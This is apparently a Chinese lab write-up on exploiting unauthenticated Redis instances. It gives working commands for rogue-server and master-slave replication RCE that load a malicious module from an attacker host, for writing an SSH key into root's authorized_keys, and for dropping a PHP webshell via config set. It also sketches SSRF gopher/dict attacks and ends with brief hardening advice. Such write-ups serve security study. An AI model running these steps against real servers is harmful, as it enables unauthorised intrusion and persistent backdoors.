Redis 是一个开源的内存数据库,它用于存储数据,并提供高性能、可扩展性和丰富的数据结构支持。

Redis 复现文章较全

Redis+ssrf 漏洞利用探测内网

RedisInsight/RedisDesktopManager 可视化连接工具

# 漏洞原理

1
2
3
1)redis绑定在 0.0.0.0:6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

Redis 默认情况下,会绑定在 0.0.0.0:6379 ,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,
如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,并且写公匙登录

测绘查找

1
port="6379"&server="redis"

# Docker 开启环境

1
2
3
docker-compose up -d

docker-compose ps // 查看端口6379

kali 扫描主机同样存在

# Redis (<=5.0.5) RCE 工具梭哈

RedisRCE 工具

攻击机下载 RCE 工具 redis-rogue-server 工具。使用该工具将在终端伪造一个 redis 服务并尝试与目标连接实现未授权访问

1
2
3
4
5
git clone  https://github.com/n0b0dyCN/redis-rogue-server   // kali直接下载 

python3 ./redis-rogue-server.py --rhost 靶机ip --lhost 攻击机ip // 连接

i // 交互式 成功RCE

# Redis 4.x/5.x 主从复制 RCE

工具地址

主从复制是指将一台 Redis 主服务器的数据,复制到其他的 Redis 从服务器。前者称为主节点 (master),后者称为从节点

漏洞原理是目标靶机存在 ssrf 漏洞探测到了 Redis 未授权,我们可以自己搭建一个 redis 服务器作为目标靶机的主服务器,也就是说我们在 redis 服务器恶意构造. so 文件,通过主从复制的模式到该目标靶机实现 RCE


通过工具远程连接执行,原本是通过 git 在 kali 克隆但是克隆不了,所以从物理机手动下载移到 Kali 并且进入 redis-rogue-getshell-master/RedisModulesSDK/exp 路径使用 make 命令下载模块,下载完成后 cd 回到根目录 redis-rogue-getshell-master

1
2
3
python ./redis-master.py -r 10.2.109.98 -p 6379 -L 192.168.111.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"

// 第一个IP 靶机IP 第二个 攻击机IP 最后为需要执行的命令

# 未授权生成 ssh [1] 公私钥免密登录

登陆 linux 有几种方式,最常用的是密码登陆和 RSA key 登陆, RSA key 登陆是生成一个公私对应的秘钥;未授权成功后将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件的 authotrized_keys 文件中,进而可以使用保留在攻击机对应私钥使用 ssh 服务器登录目标服务器

  • 为什么 redis 可以获取服务器的 root 权限呢?

    RSA key 的登陆方式在服务器方面是要将公钥写入目标 authorized_keys 文件中的,而 redis 有一种持久化方式是生成 RDB 文件,通过持久化将公钥写入 root 下的 authored_keys 文件里,这样就将非法的公钥写到了验证文件里[2],后面我们拿对应私钥登陆即可

    (但是这种方式需要再 redisroot 启动的情况下使用,因为非 root 权限无法进入 /root 目录)

攻击机中生成 ssh 公钥和私钥文件,密码为空一直回车就行 id_rsa 为私钥, id_rsa.pub 为公钥

进入 ssh 目录将生成的公钥保存到 1.txt 并且使用远程连接攻击连接靶机把 1.txt 写入 redis

1
2
3
4
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt  // 攻击机保存文件

cat 1.txt | redis-cli -h 192.168.31.169 -x set crack

下面操作就是更改目标服务器 Redis 备份路径为 ssh 公钥存放目录,但是一直是权限不足,所以没有弄了,下面是别人的操作,上传公匙文件保存退出

此时在攻击机上使用 SSH 免密登录靶机,利用私钥成功登入 redis 服务器

# Redis-cli 工具连接写 shell

攻击机下载工具

1
2
3
4
5
6
wget http://download.redis.io/redis-stable.tar.gz

tar -zxvf redis-stable.tar.gz
cd redis-stable
make // 编译 时间很久

远程连接 Redis 服务器免密登录命令

1
2
3
4
5
6
7
8
9
10
11
12
无密码登录命令

C 目标主机IP

有密码登录命令

redis-cli -h 目标主机IP -p 端口6379 -a 登录密码


redis-cli -h 10.2.109.98 // 连接靶机redis服务器

info // 输出获取有关 Redis 服务器的各种信息,包括版本、模式、操作系统等

# 写入 shell 文件

靶场没有开启 web 端口无法直接上传木马文件,用写入 shell 文件的方式添加后门攻击者在未授权访问 Redis 的情况下,利用服务自身提供的 config 命令,可以进行写文件所以可以写入 shell , 在上文远程连接基础上写入文件,选择 /tmp 目录通常对所有用户都是可读写的

1
2
3
4
5
6
7
config set dir /tmp   // 选择目录为tmp
config set dbfiname saber.php // 文件名为saber.php

// 添加几\r\n个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行

set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n" // 文件内容
save // 执行

写入文件后可以通过容器 ID 查看文件

Docker 查看写入 Shell 成功,使用 IP 结合路径就可以 连接蚁剑了

# Redis+SSRF

国光 SSRF 靶场探测内网

SSRF 中 Redis 的利用掌控社区

飘渺红尘对于 SSRC 协议攻击 Redis 分析

goher 协议写 RCE 脚本项目

伪协议

利用 SSRF 伪协议 file 读取机器文件获得内网 IP 再次利用伪协议 DICT 配合内网 IP 探测内网端口开放情况,如果存在 6379 开放且是未授权连接则可以按上面的打方打,前提是 SSRF 扫描到了内网的 Redis 服务,然后 SSRF配合 伪协议在 Redis 里面写东西,利用上面的工具,通常都是 gopher 协议构造数据包,SSRF 打 Redis 关键就是用 ** gopher [3]/**** dict ** 协议 两个都可以写一句话, dict 可以写计划任务

  • config 写一句话 shelltmp 或者其他有写入权限目录;知晓网站绝对路径通过蚁剑连接,
  • 攻击机生成公私钥复制上传,造成免密登录对方机器
  • crontao 写入计划任务反弹 shell

# 修复建议

  • 修改 redis.conf 配置文件设置 bind 127.0.0.1 ,这将限制 Redis 仅接受来自本地主机的连接
  • 设置强密码连接 Redis 需要进行身份验证

  1. 登录方式:私匙生成 公匙验证 ↩︎

  2. 我们生成的公匙就是要放到 authorized_keys 文件中的,并且 redis 拿 root 用户登录也是把公匙写进 authorized_keys 文件,所以只要 redis 是拿 root 登录的我们公钥就可以写进去登录 ↩︎

  3. 使用 gopher 发送各种格式的请求包,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。 ↩︎